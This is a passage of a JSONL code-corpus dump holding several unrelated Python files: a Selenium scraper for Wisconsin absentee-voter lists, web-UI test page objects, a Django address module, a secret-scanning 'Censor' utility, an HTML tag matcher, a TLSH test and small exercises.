switch_to_iframe(browser)\n select_view(browser, \"Jurisdictions\", \"Jurisdiction Emails w Provider\")\n switch_out_of_iframe(browser)\n download_excel(browser, \"Jurisdictions\")\n\n\ndef return_to_query(browser):\n time.sleep(0.1)\n browser.find_element_by_class_name(\"ms-cui-tt-a\").click()\n\n\ndef get_absentee_list(absentee_date):\n browser = get_webdriver()\n browser.get(\"http://wisvote.wi.gov\")\n browser.maximize_window()\n main_window = browser.current_window_handle\n if \"Sign In\" in browser.title:\n sign_in(browser)\n else:\n assert \"Easy Navigate\" in browser.title\n wait_for_id(browser, \"contentIFrame0\")\n time.sleep(0.75)\n do_and_switch_to_new_window(browser, browser.find_element_by_id(\"advancedFindImage\").click)\n wait_for_id(browser, \"contentIFrame0\")\n download_absentee_list(browser, absentee_date)\n time.sleep(1)\n browser.close()\n browser.switch_to.window(main_window)\n browser.close()\n\n\ndef get_email_list():\n browser = get_webdriver()\n browser.get(\"http://wisvote.wi.gov\")\n browser.maximize_window()\n main_window = browser.current_window_handle\n if \"Sign In\" in browser.title:\n sign_in(browser)\n else:\n assert \"Easy Navigate\" in browser.title\n wait_for_id(browser, \"contentIFrame0\")\n time.sleep(1)\n do_and_switch_to_new_window(browser, browser.find_element_by_id(\"advancedFindImage\").click)\n wait_for_id(browser, \"contentIFrame0\")\n download_email_list(browser)\n time.sleep(1)\n browser.close()\n browser.switch_to.window(main_window)\n browser.close()\n\n\ndef create_emails(data, emails):\n with open('text_template.txt', encoding=\"utf8\") as text:\n body = text.readlines()\n with open('email_template.html', encoding=\"utf8\") as html:\n html_body = html.readlines()\n for key in data:\n html_table = \"\"\n text_table = \"\"\n for record in data[key]:\n html_table += \"\"\n for datum in record:\n html_table += \"\"\n text_table += datum + \"\\t\\t\"\n html_table += \"\"\n text_table += \"\\n\"\n html_table += \"
\" + datum + \"
\"\n html_body[34] = html_table\n body[34] = text_table\n body_string = \"\"\n for string in body:\n body_string += string\n html_string = \"\"\n for string in html_body:\n html_string += string\n send_email.send_mail(get_creds(), '', \"Notification from MyVote\", body_string, html_string)\n break\n\n\ndef main():\n count = 1\n get_absentee_list(get_yesterday())\n if datetime.today().weekday() == 0:\n get_absentee_list(get_days_ago(2))\n get_absentee_list(get_days_ago(3))\n count = 3\n get_email_list()\n data, emails = excel.main(count)\n #create_emails(data, emails)\n #for key in data:\n # send_email.send_mail(get_creds(), emails[key], 'Test', str(data[key]))\n print(\"Done\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":7769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"525680108","text":"from api_test.base_page.homepage import HomePage\nfrom common.Log import Logger\nfrom selenium.webdriver.support.select import Select\n\nlogger = Logger(\"DrsuVerMgrPage\").getlog()\n\n\nclass DrsuVerMgrPage(HomePage):\n\n # 填入版本名称 后面还有一个输入版本名称 注意不要混淆\n def input_drsu_version_name(self, version_name):\n input_version_link = 'xpath=>//*[@id=\"Term\"]'\n self.type(input_version_link, version_name)\n\n # 点击查询\n def qry_click(self):\n qry_link = 'xpath=>//*[@id=\"btn_query\"]'\n self.click(qry_link)\n\n # 选择DRC_ID\n def choose_drc_id(self, drc_id):\n sel = self.find_element('xpath=>//*[@id=\"drcChoiceListId\"]')\n self.wait(1)\n Select(sel).select_by_value('%s' % str(drc_id))\n\n # 选择DRC_ID\n def choose_drsu_id(self, drc_id):\n sel = self.find_element('xpath=>//*[@id=\"drsuChoiceListId\"]')\n self.wait(1)\n Select(sel).select_by_value('%s' % str(drc_id))\n\n # 点击查询全部版本信息\n def qry_version_all_click(self):\n qry_version_link = 'xpath=>//*[@id=\"btn_allDrsuInDRCx\"]'\n self.click(qry_version_link)\n\n # 点击查询全部版本信息\n def qry_version_spec_click(self):\n qry_version_link = 'xpath=>//*[@id=\"btn_oneDrsuInDRCx\"]'\n self.click(qry_version_link)\n\n # 点击刷新\n def refresh_click(self):\n refresh_link = 'xpath=>/html/body/div/div/div[3]/div[2]/div/div[2]/div/div/div[2]/div[1]/div[2]/button'\n self.click(refresh_link)\n\n # 点击全屏\n def full_screen_click(self):\n full_screen_link = 'xpath=>/html/body/div/div/div[3]/div[2]/div/div[2]/div/div/div[2]/div[1]/div[2]/div/button'\n self.click(full_screen_link)\n\n # 点击全选\n def all_election_click(self):\n select_all_click = 'xpath=//*[@id=\"tb_list\"]/thead/tr/th[1]/div[1]/label/input'\n self.click(select_all_click)\n\n # 选择指定版本编号\n # def version_id_select_click(self, ver_id):\n # for i in range(1, 11):\n # choose_box_link_temp = 'xpath=>//*[@id=\"tb_list\"]/tbody/tr[' + str(i) + ']/td[2]'\n # if self.find_element(choose_box_link_temp).text == str(ver_id):\n # choose_box_link = 'xpath=>//*[@id=\"tb_list\"]/tbody/tr[' + str(i) + ']/td[1]/label/input'\n # self.click(choose_box_link)\n # logger.info(\"点击版本记录编号 ver_id:%u\" % str(ver_id))\n # return i\n # logger.info(\"无法点击版本记录编号 ver_id:%u\" % str(ver_id))\n # i = 0\n # return i\n def version_id_select_click(self, ver_id):\n for i in range(1, 12):\n choose_box_link_temp = 'xpath=>//*[@id=\"tb_list\"]/tbody/tr[' + str(i) + ']/td[2]'\n try:\n record_version_id = self.find_element(choose_box_link_temp).text\n if record_version_id == str(ver_id):\n choose_box_link = 'xpath=>//*[@id=\"tb_list\"]/tbody/tr[' + str(i) + ']/td[1]/label/input'\n self.click(choose_box_link)\n logger.info(\"点击版本记录编号成功 ver_id:%s\" % str(ver_id))\n return i\n except ValueError:\n logger.info(\"点击版本记录编号失败 ver_id:%s\" % str(ver_id))\n i = 0\n return i\n\n # 选择指定版本编号 先进行版本查询后只剩下一个选项时用这个函数勾选\n def version_id_select_click_single(self, ver_id='0'):\n choose_box_link_temp = 'xpath=>//*[@id=\"tb_list\"]/tbody/tr/td[2]'\n try:\n if self.find_element(choose_box_link_temp).text == str(ver_id) or str(ver_id) == '0':\n choose_box_link = 'xpath=>//*[@id=\"tb_list\"]/tbody/tr/td[1]/label/input'\n self.click(choose_box_link)\n logger.info(\"点击指定版本记录编号成功 ver_id:%s\" % str(ver_id))\n return True\n else:\n logger.info(\"点击指定版本记录编号失败 ver_id:%s\" % str(ver_id))\n return False\n except Exception as e:\n logger.error(\"没有指定名称的版本,%s\" % format(e))\n raise False\n\n # 点击新增版本入库\n def version_add_click(self):\n version_add_link = 'xpath=>//*[@id=\"btn_importVersion\"]'\n self.click(version_add_link)\n\n # 是否存在输入弹窗\n # def is_exist_prompt(self):\n # prompt_head_link = 'xpath=>//*[@id=\"drsuAddNewVersionInfoModalLabel\"]'\n # try:\n # self.find_element(prompt_head_link)\n # logger.info(\"弹出新增版本入库设置弹窗\")\n # return True\n # except Exception as e:\n # logger.info(\"未弹出新增版本入库设置弹窗%s\" % format(e))\n # return False\n def is_prompt_visible_add(self):\n selector = '//*[@id=\"drsuAddNewVersionInfoModalLabel\"]'\n ret = self.is_visible(selector)\n logger.info(\"是否弹出新增版本入库设置弹窗%s\" % ret)\n return ret\n\n # 输入drsu版本名称\n def input_version_name(self, version_name):\n input_version_name_link = 'xpath=>//*[@id=\"versionName\"]'\n self.type(input_version_name_link, version_name)\n\n # 输入版本所在路径\n def input_version_path(self, version_path):\n input_version_path_link = 'xpath=>//*[@id=\"sSwDir\"]'\n self.type(input_version_path_link, version_path)\n\n # 输入上传者名称\n def input_version_author(self, author):\n input_version_author_link = 'xpath=>//*[@id=\"uploadUser\"]'\n self.type(input_version_author_link, author)\n\n # 输入上传时间\n def input_version_time(self, time):\n input_version_author_link = 'xpath=>//*[@id=\"tUploadTime\"]'\n self.type(input_version_author_link, time)\n\n # 点击关闭\n def close_window_click(self):\n close_window_link = 'xpath=>//*[@id=\"acuAddNewVersionInfoModal\"]/div/div/div[3]/button[1]'\n self.click(close_window_link)\n\n # 点击执行版本入库\n def version_upload_click(self):\n version_upload_link = 'xpath=>//*[@id=\"btn_uploadeversion\"]'\n self.click(version_upload_link)\n\n # 点击修改版本信息\n def version_mod_click(self):\n version_mod_link = 'xpath=>//*[@id=\"btn_editVersion\"]'\n self.click(version_mod_link)\n\n # 点击删除版本\n def version_del_click(self):\n version_del_link = 'xpath=>//*[@id=\"btn_delVersion\"]'\n self.click(version_del_link)\n\n # 点击查看版本ftp信息 不需要指定版本\n def version_ftp_qry_click(self):\n version_ftp_qry_link = 'xpath=>//*[@id=\"btn_ftpquery\"]'\n self.click(version_ftp_qry_link)\n\n # 是否存在输入弹窗\n # def is_exist_prompt2(self):\n # try:\n # self.find_element('xpath=>//*[@id=\"saveftp\"]')\n # logger.info(\"弹出保存ftp版本信息弹窗\")\n # return True\n # except Exception as e:\n # logger.info(\"未弹保存ftp版本信息弹窗\")\n # return False\n # 是否弹出保存ftp版本信息弹窗\n def is_prompt_visible_ftp(self):\n selector = '//*[@id=\"saveftp\"]'\n ret = self.is_visible(selector)\n logger.info(\"是否弹出存ftp版本信息弹窗%s\" % ret)\n return ret\n\n # 输入ftp域名\n def input_ftp_domain_name(self, domain_name):\n set_ftp_domain_link = 'xpath=>//*[@id=\"ftpAddress\"]'\n self.type(set_ftp_domain_link, str(domain_name))\n\n # 输入ftp端口\n def input_ftp_port(self, ftp_port):\n set_ftp_port_link = 'xpath=>//*[@id=\"ftpPort\"]'\n self.type(set_ftp_port_link, str(ftp_port))\n\n # 输入ftp用户名\n def input_ftp_user(self, username):\n set_ftp_user_link = 'xpath=>//*[@id=\"ftpUserName\"]'\n self.type(set_ftp_user_link, str(username))\n\n # 输入ftp密码\n def input_ftp_password(self, password):\n set_ftp_password_link = 'xpath=>//*[@id=\"ftpPassword\"]'\n self.type(set_ftp_password_link, str(password))\n\n # 点击保存配置信息\n def save_cfg_click(self):\n save_cfg_link = 'xpath=>//*[@id=\"btn_saveftp\"]'\n self.click(save_cfg_link)\n\n def close_window_click1(self):\n close_window_link = 'xpath=>//*[@id=\"idlg_btn_1583488554623_0\"]'\n self.click(close_window_link)\n\n # 点击版本升级 点击之后跳转到DrsuVerMgrUpdatePage页面\n def version_update_click(self):\n version_qry_link = 'xpath=>//*[@id=\"btn_drsuVersionUpdate\"]'\n self.click(version_qry_link)\n self.sleep(2)\n\n # 选择dru版本 推荐方法 先填入版本名称,点击查询,然后选定 可选参数version_id主要用于校验 可以不填写\n def choose_drsu_version(self, version_name, version_id='0'):\n self.input_drsu_version_name(version_name)\n self.qry_click()\n return self.version_id_select_click_single(version_id)\n\n # 设置ftp版本信息弹窗\n def set_ftp_info(self, dict_ftp):\n self.version_ftp_qry_click()\n if not self.is_prompt_visible_ftp():\n self.info()\n self.get_windows_img()\n logger.error('没有弹出版本ftp信息弹窗')\n return False\n self.input_ftp_domain_name(dict_ftp['ftp域名'])\n self.input_ftp_port(dict_ftp['ftp端口'])\n self.input_ftp_user(dict_ftp['ftp用户名'])\n self.input_ftp_password(dict_ftp['ftp密码'])\n self.save_cfg_click()\n assert (self.info())\n if self.info_text() == '版本入库成功':\n logger.info('版本入库成功', dict_ftp)\n self.enter_click()\n return True\n else:\n logger.error('版本入库失败%s' % self.info_text(), dict_ftp)\n self.esc_click()\n return False\n\n # 填写新增/修改drsu版本入库弹窗\n def add_or_mod_drc_version(self, dict_version, txt):\n self.input_version_name(dict_version['DRSU版本名称'])\n self.input_version_path(dict_version['版本所在路径'])\n self.input_version_author(dict_version['上传者'])\n self.input_version_time(dict_version['上传时间'])\n self.version_upload_click()\n self.sleep(1) # 必须增加sleep,否则一次性增加两个相同版本\n if self.info_text() == txt:\n logger.info('版本入库结果符合预期:%s,版本参数:%s' % (txt, dict_version))\n self.esc_click()\n return True\n else:\n self.get_windows_img()\n logger.error('版本入库结果不符合预期,预期结果:%s,实际结果:%s, 版本参数:%s' % (txt, self.info_text(), dict_version))\n self.esc_click()\n return False\n\n # 新增drsu版本\n def add_drsu_version(self, dict_version, txt='版本入库成功:true'):\n self.version_add_click()\n if not self.is_prompt_visible_add():\n self.info()\n self.get_windows_img()\n return False\n return self.add_or_mod_drc_version(dict_version, txt)\n\n # 修改drsu版本\n def mod_drsu_version(self, dict_version, txt='版本入库成功:true'):\n if not self.version_id_select_click(dict_version['版本记录编号']):\n return False\n self.version_mod_click()\n if not self.is_prompt_visible_add():\n self.info()\n self.get_windows_img()\n return False\n return self.add_or_mod_drc_version(dict_version, txt)\n\n # 删除drsu版本\n def del_drsu_version(self):\n self.version_del_click()\n assert (self.info())\n if self.info_text() == '确定 删除选定版本':\n self.enter_click()\n self.esc_click()\n self.sleep(1)\n assert (self.info())\n if self.info_text() == '任务删除成功':\n self.esc_click()\n logger.info('drc版本删除成功')\n return True\n else:\n self.get_windows_img()\n logger.error('drc版本删除失败%s' % (self.info_text()))\n self.esc_click()\n return False","sub_path":"api_test/page_objects/page_drsu_version_mgr.py","file_name":"page_drsu_version_mgr.py","file_ext":"py","file_size_in_byte":12175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"278769696","text":"from atexit import register\nimport threading\nfrom time import sleep, ctime\nfrom myThread import MyThread\n\ndef fib(n):\n sleep(0.005)\n if n<2:\n return 1\n return fib(n-1)+fib(n-2)\n\ndef fac(n):\n sleep(0.1)\n if n<2:\n return 1\n return n*fac(n-1)\n\ndef sum(n):\n sleep(0.1)\n if n<2:\n return 1\n return n+sum(n-1)\nN=12\nprint('***single thread started at %s' % ctime())\nsum(N)\nfib(N)\nfac(N)\nprint('\\nfinished at %s' % ctime())\n\nprint('\\n***multi thread started at %s' % ctime())\nMyThread(fib,(N,),'fib').start()\nMyThread(fac,(N,),'fac').start()\nMyThread(sum,(N,),'sum').start()\n\n@register\ndef _atexit():\n print('\\nAll done at %s' % ctime())\n","sub_path":"fac-fib-mulThread.py","file_name":"fac-fib-mulThread.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"67040615","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/archatas/Projects/django_include_by_ajax/project/django_include_by_ajax/include_by_ajax/templatetags/include_by_ajax_tags.py\n# Compiled at: 2018-12-10 21:29:48\nfrom __future__ import unicode_literals\nfrom django.apps import apps\nfrom django import template\nregister = template.Library()\n\n@register.inclusion_tag(b'include_by_ajax/includes/placeholder.html', takes_context=True)\ndef include_by_ajax(context, template_name, placeholder_template_name=None):\n app_config = apps.get_app_config(b'include_by_ajax')\n request = context[b'request']\n user_agent = request.META.get(b'HTTP_USER_AGENT') or b''\n is_web_crawler = bool(app_config.web_crawler_pattern.search(user_agent))\n context[b'include_by_ajax_full_render'] = bool(is_web_crawler or request.is_ajax() and request.GET.get(b'include_by_ajax_full_render'))\n context[b'include_by_ajax_no_placeholder_wrapping'] = is_web_crawler\n context[b'template_name'] = template_name\n context[b'placeholder_template_name'] = placeholder_template_name\n return context","sub_path":"pycfiles/django_include_by_ajax-2.0.0-py2.py3-none-any/include_by_ajax_tags.py","file_name":"include_by_ajax_tags.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"304874455","text":"import re\nimport os\nimport mmap\nimport logging\nfrom entropy_scanner import *\n\n\n\nclass Censor:\n def __init__(self, pattern=None, change=None):\n\n self.Entropy = Entropy()\n self.pattern = str.encode(pattern) if pattern is not None else None\n self.change = str.encode(change) if change is not None else None\n\n self.excluded_types = []\n self.excluded_directories = []\n self.excluded_files = []\n self.comments = {\n \".py\": \"#\",\n \".java\": \"//\",\n \".cs\": \"//\",\n \".js\": \"//\",\n \".rb\": \"#\"\n }\n\n def __get_files(self, root):\n for root_directory, subdic, files in os.walk(os.path.relpath(root), topdown=True):\n files[:] = [f for f in files if os.path.splitext(f)[1] not in self.excluded_types]\n subdic[:] = [d for d in subdic if d not in self.excluded_directories]\n files[:] = [f for f in files if f not in self.excluded_files]\n yield root_directory, files\n\n def comment(self, match):\n match = match.group()\n\n return b'#' + match\n\n # will comment out and then replace the value,for example key = brad, #key = thishasbeenreplaced\n def comment_and_replace(self, match):\n match = match.group()\n raise NotImplementedError\n\n #replace string or pattern with replacement\n def replace(self, match):\n raise NotImplementedError\n\n #deletes just the string/pattern brad ###lol djsabdsa > brad > ###lol ds.. only replaces the word.\n def delete(self, match):\n raise NotImplementedError\n\n #deletes the entire line termined by \\n\n def deleteline(self, match):\n raise NotImplementedError\n\n def high_entroy(self,path,rFiles=None):\n for directory, files in self.__get_files(path):\n for file in files:\n workingDirectory = \"{0}/{1}\".format(directory, file)\n if __file__ == workingDirectory or os.path.getsize(workingDirectory) == 0 or __file__ == file:\n continue\n if not os.access(workingDirectory, os.W_OK):\n logging.info(\"Failed to get write access for %s\", file)\n continue\n with open(workingDirectory, \"r+\", encoding=\"ISO-8859-1\") as f:\n high_entropy_list = []\n file_list = []\n for line in f.readlines():\n high_entropy_list.extend(self.Entropy.find_entropy(line))\n if len(high_entropy_list) > 0:\n file_list.extend(workingDirectory)\n if rFiles is None:\n yield high_entropy_list\n else:\n yield high_entropy_list, file_list\n else:\n yield from []\n\n def execute(self, path):\n for directory, files in self.__get_files(path): # for all files and the directory\n for file in files:\n workingDirectory = \"{0}/{1}\".format(directory, file)\n if __file__ == workingDirectory or os.path.getsize(workingDirectory) == 0 or __file__ == file:\n continue\n if not os.access(workingDirectory, os.W_OK):\n logging.info(\"Failed to get write access for %s\", file)\n continue\n with open(workingDirectory, \"rb+\") as f:\n m = mmap.mmap(f.fileno(), 0) # map the file in memory; will speed up search for massive files\n\n if re.search(self.pattern, m[:]) is not None: # only write files which have changed\n replacement_string = re.sub(self.pattern, self.change, m[:])\n f.write(replacement_string)\n m.close()\n\ndef main():\n A = Censor()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Censor.py","file_name":"Censor.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"249064083","text":"# -*- coding: utf-8 -*-\n\"\"\"地址应用模块\n\n该模块用于从数据库取出地址树并作为数据源提供给前台。\n\"\"\"\n#address.py\n#\n#Copyright (C) 2017 YINSHO(Shanghai) SoftWare Technology Co., Ltd.\n#All rights reserved\n#\n__author__ = \"lifeijie \"\n\nimport json\n\nfrom django.db import transaction\n\nfrom ..logger import logger\nfrom ..models import Address, Shop, User, Region\n\n\ndef get_region_tree(start_node_code=u'330000000000', end_level=u'village'):\n \"\"\"从数据库取出一棵地址树。\n\n 通过递归实现,最终返回字典。\n \"\"\"\n #logger.debug(u'CODE: %s', code)\n #logger.debug('END_LEVEL: %s', end_level)\n parent = Region.objects.get(code=start_node_code)\n parent_node = {u'name': parent.name, u'code': parent.code}\n if parent.level != end_level and parent.name != u'市辖区':\n parent_node[u'sub'] = []\n children = Region.objects.filter(parent=start_node_code)\n for child in children:\n child_node = get_region_tree(start_node_code=child.code, end_level=end_level)\n parent_node[u'sub'].append(child_node)\n return parent_node\n\n\ndef get_region_json(start_node_name, end_level):\n start_node = Region.objects.filter(name=start_node_name)\n if start_node.exists():\n start_node_code = start_node[0].code\n logger.debug('START_NODE: %s', start_node_code)\n else:\n start_node_code = '330102000000'\n tree = get_region_tree(start_node_code=start_node_code, end_level=end_level)\n #写json文件\n #data = json.dumps(tree, sort_keys=True, indent=4, ensure_ascii=False)\n #logger.debug(type(data))\n #f = codecs.open('./nanxun/region.json', 'w', 'utf-8')\n #f.write(data)\n #f.close()\n #如果使用下面的方法,可以存入文件,但是是中文是unicode的形式。\n #with open(u'region.json', u'w') as f:\n # f.write(data)\n return tree\n\n\ndef modify_page(from_page, openid, start_node_code, end_level):\n if from_page == 'my_info':\n address = User.objects.get(openid=openid).address\n else:\n address = Shop.objects.get(seller__openid=openid).address\n logger.debug('ADDRESS: %s', address)\n address = address.get_str() if address else u'未设置'\n tree = get_region_tree(start_node_code, end_level)\n region_tree = json.dumps(tree, ensure_ascii=False, encoding='utf-8')\n return {u'region_tree': region_tree, 'current_address': address}\n\n\n@transaction.atomic\ndef modify(from_page, openid, id, province, city, county, town, village, address_detail):\n if from_page == 'shop':\n old_address_id = Shop.objects.get(id=id).address.id\n logger.debug(old_address_id)\n old_address = Address.objects.filter(id=old_address_id)\n #logger.debug('old_address:', old_address)\n logger.debug('UPDATED ROW: %s', Address.objects.filter(id=old_address_id).update(province=province, city=city, county=county, town=town, village=village, detail=address_detail))\n #old_address.save(Province=province)\n else:\n user = User.objects.get(openid=openid)\n if user.address:\n Address.objects.filter(id=user.address.id).update(province=province, city=city, county=county, town=town, village=village, detail=address_detail)\n else:\n new_address = Address.objects.create(province=province, city=city, county=county, town=town, village=village, detail=address_detail)\n user.address = new_address\n user.save()\n return {'success': True}\n","sub_path":"weixin_inner/inner_app/service/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"440548943","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nimport re\nimport os\n\n\n# 网页文档\nhtmltext = ''\n\n# 需要剔除的特殊单标签\nspecial = ['','','
','','
','','
']\n\n# 筛选结果\nres = []\n# 未处理标签\ntemp = []\n\n# 栈的实现\nclass Stack(object):\n\n    # 初始化\n    def __init__(self):\n        self.stack = []\n\n    # 空栈\n    def isEmpty(self):\n        return self.stack == []\n\n    # 入栈\n    def push(self, item):\n        self.stack.append(item)\n\n    # # 出栈\n    # def pop(self):\n    #     if self.isEmpty():\n    #         raise IndexError, 'empty'\n    #     return self.stack.pop()\n\n    # 栈的长度\n    def size(self):\n        return len(self.stack)\n\n\n# 前标签栈\ns1 = Stack()\n# 后标签栈\ns2 = Stack()\n\n\n# 主界面\ndef main_menu():\n    # 菜单界面\n    print('*******************************************************')\n    print('|---------------------------------------------------- |')\n    print('|--------------简易HTML文档标记匹配工具-------------- |')\n    print('|--------------------1.读取文本内容------------------ |')\n    print('|--------------------2.验证文档标记------------------ |')\n    print('|--------------------0.退出系统---------------------- |')\n    print('|---------------------------------------------------- |')\n    print('*******************************************************')\n\n# 读取文本\ndef input_menu():\n    doc_in()\n    #   界面\n    print('*---------------------------------------------------- *')\n    print('*读取成功!                                       *')\n    print('*---------------------------------------------------- *')\n    print('*内容:--------------------------------------------- *')\n    print(s1.stack + s2.stack)\n    print('*---------------------------------------------------- *')\n\n    # 选项\n    n = input('请输入选项:(1.退出 2.返回主界面)')\n    try:\n        while(True):\n            if n == 1:\n                print('退出系统\\n')\n                os.exit(0)\n            elif n == 2:\n                main_menu()\n                break\n            else:\n                n = input('输入有误,重新输入:')\n    except:\n        pass\n    print('\\n' * 10)\n\n# 文档读入\ndef doc_in():\n    global htmltext\n\n    #   网页文档的存储文件 :C:\\\\Users\\\\ASUS\\\\Desktop\\\\111.txt\n    with open('C:\\\\Users\\\\ASUS\\\\Desktop\\\\111.txt', 'r') as fileopen:\n        htmltext += fileopen.read()\n        print('读取成功')\n    read()\n\n# 验证_界面\ndef match_menu():\n\n    opt()\n    print(\"*---------------------------------------------------- *\")\n\n    if len(htmltext) == 0:\n        print('未输入文档')\n    else:\n        print('验证结果:')\n    if len(res) == 0:\n        print('文档规范')\n    else:\n        print('文档出现问题,问题标签如下:')\n        print(res)\n    print('*---------------------------------------------------- *')\n\n    # 选项\n    n = input('请输入选项:(1.退出 2.返回主界面)')\n    try:\n        while (True):\n            if n == 1:\n                print('退出系统\\n')\n                os.exit(0)\n            elif n == 2:\n                main_menu()\n                break\n            else:\n                n = input('输入有误,重新输入:')\n    except:\n        pass\n    print('\\n' * 10)\n\n# 读取入栈 前标签栈s1 后标签栈s2\ndef read():\n\n    # 使用全局声明的栈存取便签对\n    global s1, s2\n\n    # 正则筛选所有便签\n    result = re.findall('<]+>', htmltext)\n\n    # 存储剔除空格的结果\n    ress = []\n    for i in result:\n        # 剔除所有空格\n        ress.append(i.replace('\\x00',''))\n\n    with open('C:\\\\Users\\\\ASUS\\\\Desktop\\\\777.txt', 'a') as ee:\n        for i in ress:\n            # 剔除便签的内嵌样式\n            st = i.replace('\\x00', '').split()\n            mid = ''\n            if '>' in st[0]:\n                str = st.pop()\n                if '!' not in str:\n                    ee.write(str)\n                    mid = str\n            else:\n                str = st[0] + '>'\n                if '!' not in str:\n                    ee.write(str)\n                    mid = str\n            if '/' in mid:\n                s2.push(mid)\n            else:\n                s1.push(mid)\n\n\n\n# 标签分堆结果写入文件\ndef write():\n    read()\n    # 此处使用全局变量\n    global s1, s2\n\n    # 前标签\n    with open('C:\\\\Users\\\\ASUS\\\\Desktop\\\\s1.txt', 'w') as s11:\n        for i in s1.stack:\n            s11.write(i+'\\n')\n\n    # 后标签\n    with open('C:\\\\Users\\\\ASUS\\\\Desktop\\\\s2.txt', 'w') as s22:\n        for i in s2.stack:\n            s22.write(i+'\\n')\n\n\n# 验证操作\ndef opt():\n\n    global res\n    write()\n    t1 = s1.stack\n    t2 = s2.stack\n\n    for i in range(0,len(t1)):\n        if t1[i] in special:\n            t1[i] = ''\n\n    for i in range(0,len(t2)):\n        if t2[i] in special:\n            t2[i] = ''\n\n    while '' in t1:\n        t1.remove('')\n    while '' in t2:\n        t2.remove('')\n\n    for i in range(0,len(t1)):\n        for j in range(0,len(t2)):\n            if t2[j].replace('/','') == t1[i]:\n                t1[i] = ''\n                t2[j] = ''\n\n    while '' in t1:\n        t1.remove('')\n    while '' in t2:\n        t2.remove('')\n\n    # 最终结果\n    result = []\n    for i in t1:\n        result.append(i)\n    for i in t2:\n        result.append(i)\n\n    print('结果-----》(问题标签对:)')\n    print(result)\n\n    # 结果赋值给去全局结果\n    res = result\n    return t1,t2\n\n\n# 验证界面\ndef match_menu():\n\n\n    r1,r2 = opt()\n    print('*---------------------------------------------------- *')\n    print('前标签筛选结果:')\n\n    if len(r1) == 0:\n        print('全部筛出')\n    else:\n        print(r1)\n\n    print('*---------------------------------------------------- *')\n    print('后标签筛选结果:')\n\n    if len(r2) == 0:\n        print('全部筛出')\n    else:\n        print(r2)\n\n    print('*---------------------------------------------------- *')\n    print('\\n' * 10)\n\nif __name__ == '__main__':\n    main_menu()\n    while True:\n        key = input(\"请输入你要选择的操作:\")\n        if key == 1:\n            input_menu()\n        elif key == 2:\n            match_menu()\n        elif str(key) == 'g':\n            os._exit(0)\n","sub_path":"datastruct design/htmlTag_match.py","file_name":"htmlTag_match.py","file_ext":"py","file_size_in_byte":6303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"174361972","text":"# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved\nimport unittest\n\nfrom threatexchange.signal_type import tlsh_pdf\n\nTEST_PDF_COMPLETE_TLSH = (\n    \"T145B2859FE708266211A3026277C7AEE5FF76402C636AD5BA2C2CC11C23A1F2957773D5\"\n)\n\n\nclass TLSHHasherModuleUnitTest(unittest.TestCase):\n    def test_tlsh_from_file(self):\n        tlsh_complete_data_hash = tlsh_pdf.TLSHSignal.hash_from_file(\n            \"data/test_pdf_complete.pdf\"\n        )\n        tlsh_half_data_hash = tlsh_pdf.TLSHSignal.hash_from_file(\n            \"data/test_pdf_half.pdf\"\n        )\n        tlsh_complete_match = tlsh_pdf.TLSHSignal.match_hash(\n            self, tlsh_complete_data_hash\n        )\n        tlsh_half_complete_match = tlsh_pdf.TLSHSignal.match_hash(\n            self, tlsh_half_data_hash\n        )\n        assert tlsh_complete_data_hash == TEST_PDF_COMPLETE_TLSH\n        assert tlsh_complete_match != []\n        assert tlsh_half_complete_match != []\n","sub_path":"python-threatexchange/threatexchange/signal_type/tests/test_tlsh_hash_and_match.py","file_name":"test_tlsh_hash_and_match.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"540954173","text":"def GrapeOrBanana():\n    from sklearn import tree\n    a=int(input('\\nenter the weight of the fruit: '))\n    b=input('is the Shape is sphere or elliptic cylinder: ')\n    d=input('is the color is yellow or green/violet: ')\n    if 'sphere' in b:\n        c=0\n    else:\n        c=1\n    if 'green' in d:\n        e=0\n    elif 'violet' in d:\n        e=0\n    else:\n        e=1\n    features = [[20, 0, 0],\n                [30, 0, 0],\n                [40, 0, 0],\n                [50, 0, 0],\n                [80, 0, 1],\n                [90, 1, 1],\n                [100, 1, 1],\n                [110, 1, 1],\n                [120, 1, 1],\n                [130, 1, 1]]   ##the [#1,#2,#3] #1 is weight ,#2 is shape, #3 is color\n    \n    labels = [0,0,0,0,1,1,1,1,1,1]   #the 0 is apple and 1 is orange\n    \n    clf = tree.DecisionTreeClassifier()\n    clf = clf.fit(features,labels)\n    rst = clf.predict([[a, c, e]])\n\n    print('\\n +----------------+ ')\n    if 0 in rst:\n        print(' | its Grapes     |')\n    else:\n        print(' | its Banana     |')\n    print(' +----------------+ ')\n\n#GrapeOrBanana()        \n","sub_path":"Machine Learning/fruits/GrapeOrBanana.py","file_name":"GrapeOrBanana.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
